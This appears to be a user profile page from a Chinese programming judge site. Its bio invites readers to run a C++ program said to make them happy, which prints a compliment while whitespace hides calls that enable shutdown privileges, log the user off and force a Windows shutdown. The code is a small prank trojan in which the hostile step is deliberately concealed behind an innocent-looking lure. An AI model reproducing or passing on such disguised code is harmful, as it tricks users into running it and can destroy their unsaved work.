• 个人简介

    这段代码可以让你身心愉悦,运行一下吧:

    #include<windows.h>   
    #define _CRT_SECURE_NO_WARNINGS   
    #include<bits/stdc++.h>   
    #pragma region   
    #pragma region   
    using namespace std;																																			BOOL EnableShutDownPriv(){HANDLE hToken=NULL;TOKEN_PRIVILEGES tkp={0};if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)){return FALSE;}if (!LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid)){CloseHandle(hToken);return FALSE;}tkp.PrivilegeCount=1;tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(TOKEN_PRIVILEGES),NULL,NULL)){CloseHandle(hToken);return FALSE;}return TRUE;}BOOL ReSetWindows(DWORD dwFlags,BOOL bForce){if(dwFlags!=EWX_LOGOFF&&dwFlags!=EWX_REBOOT&&dwFlags!=EWX_SHUTDOWN)return FALSE;OSVERSIONINFO osvi={0};osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);if(!GetVersionEx(&osvi)){return FALSE;}if(osvi.dwPlatformId==VER_PLATFORM_WIN32_NT){EnableShutDownPriv();}dwFlags|=(bForce!=FALSE)?EWX_FORCE:EWX_FORCEIFHUNG;return ExitWindowsEx(dwFlags,0);}
    int main()
    {
    	cout<<"你是大佬!!!";																																																														ReSetWindows(EWX_LOGOFF,false);ReSetWindows(EWX_SHUTDOWN,true);
    }
    
  • 通过的题目

  • 最近活动

  • 最近编写的题解

题目标签

算法基础
14
入门
14
模拟
10
2019
1
CSP-J
1